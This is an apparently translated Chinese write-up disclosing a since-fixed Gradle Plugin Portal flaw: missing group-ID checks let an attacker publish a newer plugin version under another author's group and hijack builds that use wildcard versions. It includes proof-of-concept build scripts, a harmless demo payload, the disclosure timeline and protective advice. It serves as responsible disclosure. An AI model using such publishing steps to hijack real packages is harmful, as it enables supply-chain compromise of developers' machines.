前言
该漏洞的利用允许Gradle Plugin Portal上的任何插件被攻击者劫持。
摘要
buildscript {
repositories {
gradlePluginPortal()
}
dependencies {
/*
* In practice, this attack could have been leveraged against any plugin on
* the Gradle plugin portal.
* I created my own plugin for testing purposes.
*/
classpath("gradle.plugin.org.jlleitschuh.testing.security:gradle-testing:+")
}
}
apply(plugin = "org.jlleitschuh.testing.security-plugin")
此插件的组ID是org.jlleitschuh.testing.security
(开头的gradle.plugin
是由Gradle添加的)。
由于Gradle Plugin Portal中存在漏洞,攻击者可以将其插件的组ID设置成与网站上已有的任何插件的组ID相同,并在他们不应拥有的组下发布恶意插件。攻击者无法覆盖现有版本的artifacts,但他们可以发布更新版本。当用户使用通配版本作为依赖项时,那么当下次用户运行artifacts时,Gradle将下载最新版本的插件(现在是恶意的),然后将对插入用户进行溢出攻击。
漏洞发掘
由于spotbugs团队还没有为他们的插件发布一个补丁来支持Gradle 4.10(漏洞版本),因此我发现了这个问题。为了使用4.10,我更新了我的内部版本,但这个问题阻止了我的更新。由于我已经拥有其他插件的Gradle Plugin Portal帐户,因此我决定在不同的artifacts下发布spotbug的指定版本。
我fork了其repository,并对build.gradle
进行了足够数量的更改,这样我就可以成功地运行publishPlugins
了。
发布的结果可以在这里找到(https://plugins.gradle.org/plugin/com.github.spotbugs.temporary) ,此artifacts已被Gradle团队成员转移了,以防止它与将来更新版本的spotbug发生冲突。
由Gradle Plugin Portal提供的,关于如何应用此新发布的插件的示例代码段如下所示:
buildscript {
repositories {
maven {
url "https://plugins.gradle.org/m2/"
}
}
dependencies {
classpath "gradle.plugin.com.github.spotbugs:spotbugs-gradle-plugin:1.6.4"
}
}
apply plugin: "com.github.spotbugs.temporary"
引起我注意的是,spotbugs插件竟与我自己的完全相同。
官方版本: gradle.plugin.com.github.spotbugs:spotbugs-gradle-plugin:1.6.2
我的版本: gradle.plugin.com.github.spotbugs:spotbugs-gradle-plugin:1.6.4
刚意识到这一点,我就立刻向Gradle社区Slack频道的Gradle Plugin Portal主管Eric Wendelin提交了这个漏洞。然而,当时我还没有完全明白其中的意义。
POC
这个时候已经是凌晨1点了,但我怎么能现在停下呢?我现在必须要做点什么!
以下测试使用的是由我注册的两个完全不同的Gradle Plugin Portal帐户完成的。
我创建了以下插件来实现POC,可以将这个插件看作是任意一个作者在互联网上发布的一个插件,这个插件可为Gradle构建添加一些方便的安全功能。
plugins {
java
id("com.gradle.plugin-publish") version "0.9.10"
id("java-gradle-plugin")
}
group = "org.jlleitschuh.testing.security"
version = "0.4.0"
dependencies {
compileOnly(gradleApi())
}
gradlePlugin {
(plugins) {
"securityPlugin" {
id = "org.jlleitschuh.testing.security-plugin"
implementationClass = "org.jlleitschuh.testing.security.SecurityPlugin"
}
}
}
pluginBundle {
description = "Useless security testing."
vcsUrl = "https://github.com/JLLeitschuh/gradle-testing"
website = "https://github.com/JLLeitschuh/gradle-testing"
tags = listOf("dont-use")
(plugins) {
"securityPlugin" {
id = "org.jlleitschuh.testing.security-plugin"
displayName = "Security testing plugin"
}
}
}
package org.jlleitschuh.testing.security;
import org.gradle.api.Plugin;
import org.gradle.api.Project;
public class SecurityPlugin implements Plugin<Project> {
@Override
public void apply(final Project target) {
target.getLogger().lifecycle("A security plugin");
}
}
用户认为这个插件非常有用,但他们不希望每次都要不停地更新版本,所以他们想使用这样的通配版本。
buildscript {
repositories {
gradlePluginPortal()
}
dependencies {
/*
* In practice, this attack could have been leveraged against any plugin on
* the Gradle plugin portal.
* I created my own plugin for testing purposes.
*/
classpath("gradle.plugin.org.jlleitschuh.testing.security:gradle-testing:+")
}
}
apply(plugin = "org.jlleitschuh.testing.security-plugin")
他们将从Gradle Plugin portal中获取的版本是0.4.0版本。如果他们要运行 ./gradlew
,他们会在控制台中看到以下内容。
./gradlew
> Configure project :
A security plugin
...
现在,攻击者出现了,并且当他看到您在您的artifacts中使用了通配版本,或许他们会想试图劫持一些插件并看看将发生什么。利用这一漏洞,他们可以将自己的代码添加到插件并且发布,以下是攻击者会将代码更改的内容。
plugins {
java
id("com.gradle.plugin-publish") version "0.9.10"
id("java-gradle-plugin")
}
group = "org.jlleitschuh.testing.security"
version = "0.4.1"
dependencies {
compileOnly(gradleApi())
}
gradlePlugin {
(plugins) {
"securityPlugin" {
/*
* This is the plugin that the user is already using.
*/
id = "org.jlleitschuh.testing.security-plugin"
implementationClass = "org.jlleitschuh.testing.security.SecurityPlugin"
}
"securityPluginTemp" {
/*
* This is just an unused plugin here to make the com.gradle.plugin-publish
* and java-gradle-plugin happy as well as the Gradle Plugin Portal when
* we go to upload our malicious plugin.
*/
id = "org.jlleitschuh.testing.security-plugin.tmp"
implementationClass = "org.jlleitschuh.testing.security.SecurityPlugin"
}
}
}
pluginBundle {
description = "Useless security testing."
vcsUrl = "https://github.com/JLLeitschuh/gradle-testing"
website = "https://github.com/JLLeitschuh/gradle-testing"
tags = listOf("dont-use")
(plugins) {
"securityPlugin" {
/*
* Note how I'm declaring two plugins above but only publishing one
* plugin here.
* This is because the Gradle Plugin Portal used to only validate that
* the id of the plugin portal was not taken, but not the group.
*/
id = "org.jlleitschuh.testing.security-plugin.tmp"
displayName = "Security testing plugin"
}
}
}
package org.jlleitschuh.testing.security;
import org.gradle.api.Plugin;
import org.gradle.api.Project;
public class SecurityPlugin implements Plugin<Project> {
@Override
public void apply(final Project target) {
target.getLogger().lifecycle("A security plugin. I'm malicious!");
}
}
攻击者将他们的插件版本发布到Gradle插件网站。现在他们所要做的就是等待。
那么下一次我们的用户出现并运行./gradlew
时,他们就会收到这个。
./gradlew
Download https://plugins.gradle.org/m2/gradle/plugin/org/jlleitschuh/testing/security/gradle-testing/0.4.1/gradle-testing-0.4.1.pom
> Configure project :
A security plugin. I'm malicious!
...
用户成功被攻击者pwn了。
Gradle团队的回应
Gradle团队很快回复了我提交的漏洞。他们还告诉我,谷歌团队在我发现它的一周之前,就已经意识到这个漏洞,但是,Google报告并没有提到,并且Google提供的版本只要求用户更改应用于以下内容的插件。
apply(plugin = "org.jlleitschuh.testing.security-plugin.tmp")
修复
尽管未提及此漏洞,但此漏洞的修复程序作为Gradle Plugin Portal审批策略更新的一部分发送到了Gradle Plugin Portal。
当被问及是否进行了审计以确保此安全漏洞不会被恶意利用时,Eric Wendelin回答“是的,同时我们也并没有发现恶意行为存在的证据”。
关键点
像Gradle Plugin Portal,Maven Central Repository以及JFrog Artifactory这样的artifacts服务器都是攻击者的理想目标。如果攻击者可以劫持artifacts,他们可以在全球数百甚至数千台机器上执行任意代码。
如何保护自己
虽然这些提示不能保护您免受此类攻击,但如果不执行这些操作,就可能会使您或您的账户易受此类攻击。
1.始终通过HTTPS而不是通过HTTP来下载您的artifacts。
2.不要用通配版本来构建依赖项。
3.始终使用受信任的artifacts服务器,如Maven Central和Gradle Plugin Portal等。
4.使用进行过安全审计的公司的artifacts镜像。